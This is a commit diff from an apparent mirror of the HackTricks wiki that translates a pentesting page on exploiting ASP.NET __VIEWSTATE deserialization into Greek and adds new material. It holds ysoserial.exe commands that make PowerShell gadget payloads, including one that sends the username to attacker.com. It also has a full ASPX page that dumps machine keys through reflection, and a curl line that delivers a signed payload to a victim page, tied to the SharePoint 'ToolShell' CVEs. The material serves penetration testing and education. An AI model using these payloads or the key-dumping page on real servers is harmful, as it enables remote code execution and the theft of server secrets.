mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
68ee828650
commit
a0f8a7d607
@ -1,48 +1,48 @@
|
||||
# Exploiting \_\_VIEWSTATE without knowing the secrets
|
||||
# Εκμετάλλευση \_\_VIEWSTATE χωρίς να γνωρίζουμε τα μυστικά
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## What is ViewState
|
||||
## Τι είναι το ViewState
|
||||
|
||||
**ViewState** χρησιμεύει ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας postback σειριοποιούνται σε base64-encoded strings. Αυτές οι συμβολοσειρές τοποθετούνται στη συνέχεια σε κρυφά πεδία ViewState.
|
||||
**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
|
||||
|
||||
Οι πληροφορίες ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
|
||||
Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
|
||||
|
||||
- **Base64**:
|
||||
- Αυτός ο μορφή χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα ViewState.
|
||||
- **Base64 + Encrypted**:
|
||||
- Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα `ViewStateEncryptionMode` είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων ViewState.
|
||||
- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**:
|
||||
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState.
|
||||
- **Base64 + Κρυπτογραφημένος**:
|
||||
- Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα `ViewStateEncryptionMode` είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων του ViewState.
|
||||
|
||||
## Test Cases
|
||||
## Δοκιμαστικές Περιπτώσεις
|
||||
|
||||
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
|
||||
Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:
|
||||
|
||||
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσετε.
|
||||
2. Για **εκδόσεις κάτω από 4.5**, εάν το MAC είναι ενεργοποιημένο αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
|
||||
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν το MAC είναι ενεργοποιημένο ή απενεργοποιημένο, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
|
||||
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε το ένα είναι true και το άλλο false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
|
||||
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
|
||||
2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
|
||||
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
|
||||
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
### Δοκιμαστική Περίπτωση: 1 – EnableViewStateMac=false και viewStateEncryptionMode=false
|
||||
|
||||
Είναι επίσης δυνατό να απενεργοποιηθεί εντελώς το ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Εντοπισμός Χαρακτηριστικών ViewState**
|
||||
**Αναγνώριση Χαρακτηριστικών ViewState**
|
||||
|
||||
Μπορείτε να προσπαθήσετε να εντοπίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Μπορείτε να προσπαθήσετε να προσδιορίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
|
||||
|
||||
Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
|
||||
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσειριοποίηση του ViewState.\
|
||||
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριοποιημένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
|
||||
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσυμπίεση του ViewState.\
|
||||
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές**:
|
||||
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές τις**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -128,7 +128,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
Όπως και στην προηγούμενη περίπτωση, το **value είναι κρυπτογραφημένο.** Στη συνέχεια, για να στείλει μια **έγκυρη payload, ο επιτιθέμενος χρειάζεται το κλειδί**.
|
||||
Όπως και στην προηγούμενη περίπτωση, το **value είναι κρυπτογραφημένο.** Στη συνέχεια, για να στείλει μια **έγκυρη payload ο επιτιθέμενος χρειάζεται το κλειδί**.
|
||||
|
||||
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιείται:
|
||||
```
|
||||
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να προσδιορίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα αίτημα εκτός ζώνης σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys
|
||||
|
||||
@ -166,17 +166,47 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
```
|
||||
### Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης <a href="#poc" id="poc"></a>
|
||||
|
||||
Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Οι πληροφορίες κατάστασης είναι μη έγκυρες για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένες**” και λαμβάνουμε το OOB request.
|
||||
Για όλες τις περιπτώσεις δοκιμών, αν το payload YSoSerial.Net του ViewState λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Οι πληροφορίες κατάστασης είναι μη έγκυρες για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένες**” και λαμβάνουμε το OOB request.
|
||||
|
||||
Ελέγξτε για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Οι επιτιθέμενοι που είναι σε θέση να **ανεβάσουν ή να εκτελέσουν αυθαίρετο ASPX κώδικα** μέσα στη ρίζα του στόχου ιστού μπορούν να ανακτήσουν άμεσα τα μυστικά κλειδιά που προστατεύουν το `__VIEWSTATE` αντί να τα σπάσουν με brute force.
|
||||
Ένα ελάχιστο payload που διαρρέει τα κλειδιά εκμεταλλεύεται εσωτερικές κλάσεις .NET μέσω reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
public void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
var asm = Assembly.Load("System.Web");
|
||||
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
|
||||
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
var cfg = (MachineKeySection)m.Invoke(null, null);
|
||||
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
|
||||
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Η αίτηση της σελίδας εκτυπώνει το **ValidationKey**, **DecryptionKey**, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο **ysoserial.net** για να δημιουργηθεί ένα έγκυρο, υπογεγραμμένο gadget `__VIEWSTATE`:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
--generator=<VIEWSTATE_GENERATOR> \
|
||||
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
|
||||
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Αυτή η **πρωτογενής εξαγωγή κλειδιών** εκμεταλλεύτηκε μαζικά τους τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" – CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user